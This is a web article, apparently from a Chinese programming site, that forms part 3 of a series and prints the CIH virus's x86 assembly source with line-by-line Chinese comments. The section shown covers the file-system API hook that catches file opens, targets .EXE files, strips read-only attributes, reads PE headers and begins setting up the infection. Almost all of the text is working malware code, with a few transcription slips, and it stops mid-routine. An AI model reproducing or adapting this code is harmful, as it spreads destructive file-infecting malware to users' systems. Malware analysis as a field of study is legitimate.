病毒程序源码实例剖析-CIH病毒[3]

jmp ExitRing0Init ;退出Ring0级
　　
　　;合并后的代码大小
　　CodeSizeOfMergeVirusCodeSection = offset $
　　
　　;新的IFSMgr_InstallFileSystemApiHook功能调用
　　InstallFileSystemApiHook:
　　push ebx
　　
　　call @4
　　
　　@4:
　　pop ebx ;获得当前指令的偏移地址
　　add ebx, FileSystemApiHook-@4 ;加上偏移的差等于FileSystemApiHook的偏移
　　
　　push ebx
　　int 20h ;调用Vxd移去指向FileSystemApiHook的钩子
　　IFSMgr_RemoveFileSystemApiHook = $
　　dd 00400068h ;使用eax、ecx、edx和flags寄存器
　　pop eax
　　
　　;调用原来的IFSMgr_InstallFileSystemApiHook功能连接FileSystemApiHook钩子
　　push dword ptr [esp+8]
　　call OldInstallFileSystemApiHook-@3[ebx]
　　
　　pop ecx
　　push eax
　　push ebx
　　
　　call OldInstallFileSystemApiHook-@3[ebx]
　　pop ecx
　　
　　mov dr0, eax ;调整OldFileSystemApiHook地址
　　
　　pop eax
　　pop ebx
　　
　　ret
　　
　　OldInstallFileSystemApiHook dd ;原来的InstallFileSystemApiHook调用地址
　　
　　;IFSMgr_FileSystemHook调用入口
　　FileSystemApiHook:
　　@3 = FileSystemApiHook
　　
　　push ad ;保存寄存器
　　
　　call @5
　　
　　@5:
　　pop esi ; mov esi, offset ;esi为当前指令的偏移
　　add esi, VirusGameDataStartAddress-@5 ;esi为FileSystemApiHook的偏移
　　;加VirusGameDataStartAddress的偏移之差等于VirusGameDataStartAddress的偏移
　　
　　;测试“忙”标志，“忙”则转到pIFSFunc
　　test byte ptr (OnBusy-@6)[esi], 01h
　　jnz pIFSFunc
　　
　　;如果没有打开文件，则转到prevhook
　　lea ebx, [esp+20h+04h+04h] ;ebx为FunctionNum的地址
　　
　　;文件系统钩子的调用格式如下
　　;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,
　　;int ResourceFlags, int CodePage, pioreq pir)
　　
　　;判断此次调用是否是为了打开文件，如果不是就跳到前一个文件钩子去
　　cmp dword ptr [ebx], 00000024h
　　jne prevhook
　　
　　inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ;设置“忙”标志为“忙”
　　
　　;获得文件路径指定的驱动器号，然后把驱动器名称放到FileNameBuffer中
　　;如果驱动器号为03h，则说明该盘是C盘
　　mov esi, offset FileNameBuffer
　　add esi, FileNameBuffer-@6 ;esi指向FileNameBuffer
　　
　　push esi ;保存
　　mov al, [ebx+04h] ;ebx+4为磁盘号的地址
　　
　　;是否UNC(universal naming conventions)地址，如果是就转CallUniToBCSPath
　　cmp al, 0ffh
　　je CallUniToBCSPath
　　
　　add al, 40h
　　mov ah, ':'
　　
　　mov [esi], eax ;处理成"X:"的形式，即在盘符后面增加一个冒号
　　
　　inc esi
　　inc esi
　　
　　;把Canonicalized Unicode的字符转换为普通的BCS字符集，调用方法
　　;UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath,
　　;unsigned int maxLength, int charSet)
　　CallUniToBCSPath:
　　push 00000000h ;字符集
　　push FileNameBufferSize ;字符长度
　　mov ebx, [ebx+10h]
　　mov eax, [ebx+0ch]
　　add eax, 04h
　　push eax ;Uni字符首址
　　push esi ;BCS字符首址
　　int 20h ;调用UniToBCSPath
　　UniToBCSPath = $
　　dd 00400041h 调用id
　　add esp, 04h*04h
　　
　　;判断文件是否是EXE文件
　　cmp [esi+eax-04h], 'EXE.'
　　pop esi
　　jne DisableOnBusy
　　
　　IF DEBUG
　　
　　;以下信息为调试用
　　cmp [esi+eax-06h], 'KCUF'
　　jne DisableOnBusy
　　
　　ENDIF
　　
　　;判断文件是否存在，如果不存在，则转向DisableOnBusy处
　　cmp word ptr [ebx+18h], 01h
　　jne DisableOnBusy
　　
　　;获得文件属性
　　mov ax, 4300h
　　int 20h ;调用IFSMgr_Ring0_FileIO获得文件属性的功能
　　IFSMgr_Ring0_FileIO = $
　　dd 00400032h ;调用号
　　
　　jc DisableOnBusy
　　push ecx
　　
　　;获得IFSMgr_Ring0_FileIO地址
　　mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
　　mov edi, [edi]
　　
　　;判断是否只读文件，如果是，则修改文件属性，否则转向OpenFile处
　　test cl, 01h
　　jz OpenFile
　　
　　mov ax, 4301h
　　xor ecx, ecx
　　call edi ;调用IFSMgr_Ring0_FileIO修改文件属性的功能，使文件可写
　　
　　;打开文件
　　OpenFile:
　　xor eax, eax
　　mov ah, 0d5h
　　xor ecx, ecx ;文件属性
　　xor edx, edx
　　inc edx
　　mov ebx, edx
　　inc ebx ;esi为文件名首址
　　call edi ;调用IFSMgr_Ring0_FileIO打开文件的功能
　　
　　xchg ebx, eax ;在ebx中保存文件句柄
　　
　　;是否需要恢复文件属性(有写属性就不需要恢复了)
　　pop ecx
　　pushf
　　
　　test cl, 01h
　　jz IsOpenFileOK
　　
　　;恢复文件属性
　　mov ax, 4301h
　　call edi ;恢复文件属性
　　
　　;文件打开是否成功，如果不成功，则转向DisableOnBusy处
　　IsOpenFileOK:
　　popf
　　jc DisableOnBusy
　　
　　;文件打开成功
　　push esi ;把文件名数据区首址入栈
　　
　　pushf ;CF = 0，保存标志位
　　
　　add esi, DataBuffer-@7 ;esi指向数据区首址
　　
　　;获得新文件头的偏移
　　xor eax, eax
　　mov ah, 0d6h ;IFSMgr_Ring0_FileIO的读文件功能号(R0_READFILE)
　　
　　;为了达到使病毒代码长度最少的目的，把eax保存到ebp
　　mov ebp, eax
　　
　　push 00000004h ;读取4个字节
　　pop ecx
　　push 0000003ch ;读取DOS文件头偏移3ch处的Windows文件头首部偏移
　　pop edx
　　call edi ;读文件到esi
　　
　　mov edx, [esi] ;Windows文件头首部偏移放到edx
　　
　　; 获得图形文件头的PE标记和已感染标记
　　dec edx
　　mov eax, ebp ;功能号
　　call edi ;读文件到esi
　　
　　;判断是否是PE，如果是，进一步判断是否已经感染过
　　;判断是否是WinZip自解压文件，如果是，就不感染 Self-Extractor *
　　cmp dword ptr [esi], 00455000h ;判断是否是PE文件(标志"PE/0/0")
　　jne CloseFile ;不是就关闭文件
　　
　　;如果是PE文件，且没有被感染，就开始感染该文件
　　push ebx ;保存文件句柄
　　push 00h
　　
　　;设置病毒感染标记
　　push 01h ;标记大小
　　push edx ;edx指向PE文件头偏移00h
　　push edi ;edi为IFSMgr_Ring0_FileIO的地址
　　
　　mov dr1, esp ;保存esp
　　
　　;设置 NewAddressOfEntryPoint入口
　　push eax
　　
　　;读文件头
　　mov eax, ebp
　　mov cl, SizeOfImageHeaderToRead ;要读2个字节
　　add edx, 07h ;PE文件头+07h为NumberOfSections(块个数)
　　call edi ;读出NumberOfSections(块个数)到esi
　　
　　lea eax, (AddressOfEntryPoint-@8)[edx]
　　push eax ;文件指针
　　
　　lea eax, (NewAddressOfEntryPoint-@8)[esi]
　　push eax ; 缓冲区地址
　　
　　;把edx的值放到文件病毒代码块表表的开始位置
　　movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
　　lea edx, [eax+edx+12h] ;edx为病毒代码块表的偏移
　　
　　;获得病毒代码块表的大小
　　mov al, SizeOfScetionTable ;每个块表项的大小
　　
　　mov cl, (NumberOfSections-@8)[esi]
　　
　　mul cl ;每个块表项乘以块个数等于块表大小
　　
　　; 设置病毒代码块表
　　lea esi, (StartOfSectionTable-@8)[esi] ;esi指向块表首址(在病毒动态数据区中)

以上就是病毒程序源码实例剖析-CIH病毒[3]的内容，更多相关内容请关注PHP中文网（www.php.cn）！